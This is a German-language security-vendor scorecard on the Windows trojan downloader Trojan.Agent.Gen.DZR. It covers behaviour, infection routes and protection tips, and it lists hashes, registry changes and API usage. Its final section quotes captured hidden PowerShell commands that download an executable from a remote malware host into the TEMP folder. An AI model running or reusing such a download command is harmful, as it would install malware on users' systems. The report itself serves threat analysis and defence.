Trojan.Agent.Gen.DZR
Wertungsliste der Bedrohung
EnigmaSoft Bedrohungs-Scorecard
EnigmaSoft Threat Scorecards sind Bewertungsberichte für verschiedene Malware-Bedrohungen, die von unserem Forschungsteam gesammelt und analysiert wurden. EnigmaSoft Threat Scorecards bewerten und stufen Bedrohungen anhand verschiedener Metriken ein, darunter reale und potenzielle Risikofaktoren, Trends, Häufigkeit, Prävalenz und Persistenz. EnigmaSoft Threat Scorecards werden regelmäßig auf der Grundlage unserer Forschungsdaten und -metriken aktualisiert und sind für eine Vielzahl von Computerbenutzern nützlich, von Endbenutzern, die nach Lösungen suchen, um Malware von ihren Systemen zu entfernen, bis hin zu Sicherheitsexperten, die Bedrohungen analysieren.
EnigmaSoft Threat Scorecards zeigen eine Vielzahl nützlicher Informationen an, darunter:
Popularitätsrang: Die Rangfolge einer bestimmten Bedrohung in der Bedrohungsdatenbank von EnigmaSoft.
Schweregrad: Der ermittelte Schweregrad eines Objekts, numerisch dargestellt, basierend auf unserem Risikomodellierungsprozess und unserer Forschung, wie in unseren Kriterien zur Bedrohungsbewertung erläutert.
Infizierte Computer: Die Anzahl der bestätigten und vermuteten Fälle einer bestimmten Bedrohung, die auf infizierten Computern entdeckt wurden, wie von SpyHunter gemeldet.
Siehe auch Kriterien für die Bedrohungsbewertung .
| Beliebtheitsrang: | 19,710 |
| Bedrohungsstufe: | 80 % (Hoch) |
| Zum ersten Mal gesehen: | July 18, 2026 |
| Zuletzt gesehen: | September 1, 2026 |
| Betroffene Betriebssysteme: | Windows |
Trojan.Agent.Gen.DZR ist ein gefährlicher Trojaner, der Windows-Computer angreift. Diese Bedrohung, die als hochgefährlich eingestuft ist, ist darauf ausgelegt, unbemerkt in Systeme einzudringen, im Hintergrund Schadcode auszuführen und so weitere Sicherheitslücken zu öffnen. Sie wurde in den letzten Monaten als aktiv beobachtet und ihr Verhalten ähnelt dem anderer generischer Trojaner-Downloader, die häufig verwendet werden, um infizierten Rechnern zusätzliche Schadsoftware zuzuführen.
Inhaltsverzeichnis
Was Trojan.Agent.Gen.DZR tut
Sobald Trojan.Agent.Gen.DZR auf einem System aktiv ist, läuft er unbemerkt im Hintergrund, ohne sichtbare Fenster oder offensichtliche Anzeichen, sodass er für den durchschnittlichen Benutzer kaum zu bemerken ist. Analysen seines Verhaltens zeigen, dass er sich stark auf versteckte PowerShell-Befehle stützt, die über die Windows-Befehlszeile ausgeführt werden, um unbemerkt zusätzliche Dateien von entfernten Servern auf den infizierten Computer herunterzuladen. Diese heruntergeladenen Dateien werden typischerweise in temporären Ordnern gespeichert und können zur Installation weiterer Schadsoftware verwendet werden.
Der Trojaner kommuniziert über das Netzwerk mit entfernten Servern und nutzt dabei Standardfunktionen der Internetverbindung zum Senden und Empfangen von Daten. Dies deutet darauf hin, dass er Informationen an Angreifer zurückmelden oder neue Anweisungen und Schadsoftware herunterladen kann. Er sammelt grundlegende Informationen über den Computer, wie Benutzername, Computername und Netzwerkkonfiguration. Diese Informationen können Angreifern helfen, weitere Angriffe gezielter auszuführen oder eine erfolgreiche Infektion zu bestätigen. Die Schadsoftware verwendet außerdem Techniken, die üblicherweise zur Vermeidung von Erkennung und Analyse eingesetzt werden, wie die Überprüfung auf vorhandene Debugging-Tools und die Manipulation des eigenen Prozessspeichers. Diese Kombination aus Tarnung, Fernkommunikation und der Fähigkeit, weitere Schadsoftware abzurufen und auszuführen, macht sie zu einer ernsthaften Bedrohung, da sie Hackern weitreichende Kontrolle über das kompromittierte System ermöglichen kann.
Wie es üblicherweise auf Computer gelangt
Trojan.Agent.Gen.DZR verbreitet sich typischerweise durch Täuschung, anstatt eine einzelne Sicherheitslücke auszunutzen. Häufige Infektionswege für diese Art von Bedrohung sind Software-Downloads von unseriösen oder schädlichen Websites, gebündelte Installationsprogramme und E-Mail-Anhänge, die als harmlose Dateien wie ausführbare Dateien, Bilder oder Videos getarnt sind. In manchen Fällen nutzen Trojaner wie dieser ungepatchte Systemschwachstellen aus, um sich ohne Wissen oder Zustimmung des Nutzers zu installieren. Da die Installation unbemerkt abläuft, bemerken die Opfer oft nichts von den Veränderungen auf ihrem Computer.
Risiken für den Nutzer
Nach der Installation kann Trojan.Agent.Gen.DZR Benutzer ernsthaften Risiken aussetzen. Durch seine Fähigkeit, unbemerkt zusätzliche Dateien herunterzuladen und auszuführen, kann er als Einfallstor für weitere Schadsoftware dienen, darunter Spyware, Ransomware oder Fernzugriffstools. Die Möglichkeiten zur Informationssammlung geben Anlass zu Bedenken hinsichtlich des Datenschutzes, während die Netzwerkkommunikationsfunktionen darauf hindeuten, dass Angreifer aus der Ferne Befehle ausführen oder Daten exfiltrieren können. Insgesamt kann ein infizierter Rechner nicht mehr als vertrauenswürdig oder sicher gelten.
Anzeichen einer Infektion
Da dieser Trojaner so konzipiert ist, dass er unbemerkt agiert, sind die sichtbaren Symptome oft minimal. Benutzer bemerken möglicherweise unerwartete Netzwerkaktivitäten, ungewöhnliche Prozesse oder kurz aufblitzende PowerShell-Fenster, eine verlangsamte Systemleistung oder unbekannte Dateien in temporären Ordnern. Warnmeldungen von Sicherheitssoftware, die verdächtige Aktivitäten melden, sind oft der zuverlässigste Indikator für eine Infektion.
Wie Sie sich schützen können
Um das Infektionsrisiko zu minimieren, sollten Nutzer keine E-Mail-Anhänge von unbekannten oder nicht verifizierten Absendern öffnen, insbesondere keine ausführbaren Dateien, die als Dokumente oder Bilder getarnt sind. Ein stets aktuelles Windows-Betriebssystem und installierte Software helfen, Sicherheitslücken zu schließen, die Trojaner häufig ausnutzen. Das Herunterladen von Software ausschließlich von offiziellen und vertrauenswürdigen Quellen, das Vermeiden von Raubkopien und die regelmäßige Datensicherung sind ebenfalls wichtige Schutzmaßnahmen. Der Einsatz einer zuverlässigen und aktuellen Sicherheitssoftware sowie Vorsicht bei unerwarteten Aufforderungen oder Downloads tragen wesentlich dazu bei, Systeme vor Bedrohungen wie Trojan.Agent.Gen.DZR zu schützen.
Analysebericht
Allgemeine Information
| Nachname: | Trojan.Agent.Gen.DZR |
|---|---|
| Signaturstatus: | No Signature |
Bekannte Proben
Bekannte Proben
Dieser Abschnitt listet weitere Dateibeispiele auf, von denen angenommen wird, dass sie mit dieser Familie in Verbindung stehen.|
MD5:
446f7c40546602daea4c68d1747fda95
SHA1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
Dateigröße:
408.06 KB, 408064 Bytes
|
Attribute der portablen Windows-Ausführungsdatei
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Dateieigenschaften
- GetConsoleWindow
- No Version Info
- x64
Blockinformationen
Blockinformationen
Während der Analyse zerlegt EnigmaSoft Dateiproben in logische Blöcke zur Klassifizierung und zum Vergleich mit anderen Proben. Anhand dieser Blöcke lassen sich Regeln zur Malware-Erkennung generieren und Dateiproben basierend auf gemeinsamem Quellcode, Funktionalität und anderen charakteristischen Merkmalen in Familien einteilen. Dieser Abschnitt enthält eine Zusammenfassung dieser Blockdaten sowie deren Klassifizierung durch EnigmaSoft. Sofern verfügbar, wird auch eine visuelle Darstellung der Blockdaten angezeigt.| Gesamtanzahl der Blöcke: | 1,065 |
|---|---|
| Potenziell schädliche Blöcke: | 186 |
| Zugelassene Blocker: | 826 |
| Unbekannte Blöcke: | 53 |
Visuelle Karte
? – Unbekannter Block
x – Potenziell schädliche Sperre
Ähnliche Familien
Ähnliche Familien
Dieser Abschnitt listet weitere Malware-Familien auf, die basierend auf der Analyse von EnigmaSoft Ähnlichkeiten mit dieser Familie aufweisen. Viele Malware-Familien werden aus denselben Malware-Toolkits erstellt und verwenden dieselben Pack- und Verschlüsselungstechniken, erweitern ihre Funktionalität jedoch auf einzigartige Weise. Ähnliche Familien können auch Quellcode, Attribute, Symbole, Unterkomponenten, kompromittierte und/oder ungültige digitale Signaturen sowie Netzwerkmerkmale gemeinsam haben. Forscher nutzen diese Ähnlichkeiten, um Dateiproben schnell und effektiv zu priorisieren und Regeln zur Malware-Erkennung zu erweitern.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
Geänderte Dateien
Geänderte Dateien
Dieser Abschnitt listet Dateien auf, die von Malware-Proben dieser Familie erstellt, geändert, verschoben und/oder gelöscht wurden. Die Aktivitäten im Dateisystem können wertvolle Einblicke in die Funktionsweise von Malware auf dem Betriebssystem liefern.| Datei | Attribute |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
Änderungen der Registrierung
Änderungen der Registrierung
Dieser Abschnitt listet Registrierungsschlüssel und -werte auf, die von Malware-Arten dieser Familie erstellt, geändert und/oder gelöscht wurden. Die Aktivitäten in der Windows-Registrierung können wertvolle Einblicke in die Funktionsweise von Malware liefern. Darüber hinaus erstellt Malware häufig Registrierungswerte, um sich nach einer erfolgreichen Infektion des Systems automatisch zu starten und dauerhaft im System zu verbleiben.| Schlüssel::Wert | Daten | API-Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Windows-API-Nutzung
Windows-API-Nutzung
Dieser Abschnitt listet die von den Beispielen dieser Familie verwendeten Windows-API-Aufrufe auf. Die Analyse der Windows-API-Nutzung ist ein wertvolles Werkzeug zur Erkennung schädlicher Aktivitäten wie Keylogging, Rechteausweitung, Datenverschlüsselung, Datenexfiltration, Manipulation von Antivirensoftware und Netzwerkmanipulation.| Kategorie | API |
|---|---|
| Syscall Use |
Show 90 more
31 weitere Artikel werden oben nicht angezeigt. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
Shell-Befehlsausführung
Shell-Befehlsausführung
Dieser Abschnitt listet die Windows-Shell-Befehle auf, die von den in dieser Familie enthaltenen Malware-Beispielen ausgeführt werden. Windows-Shell-Befehle werden häufig von Malware für schädliche Zwecke missbraucht und können verwendet werden, um Sicherheitsberechtigungen zu erweitern, andere Malware herunterzuladen und auszuführen, Sicherheitslücken auszunutzen, Daten zu sammeln und zu exfiltrieren sowie schädliche Aktivitäten zu verschleiern.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|